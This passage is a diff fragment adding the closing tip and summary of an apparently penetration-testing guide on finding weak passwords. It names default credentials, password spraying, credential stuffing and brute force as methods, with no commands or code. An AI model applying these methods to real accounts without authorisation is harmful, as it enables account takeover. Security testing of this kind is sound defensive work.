+10. Combine with MFA testing: weak passwords plus missing MFA is a critical finding
+
+## Summary
+
+Weak password detection requires systematic enumeration of authentication surfaces, intelligent wordlist selection, and careful brute-force execution. The highest impact often comes from default credentials, password spraying, and credential stuffing rather than exhaustive brute-force. Always validate findings with confirmed logins and assess the full scope of account compromise.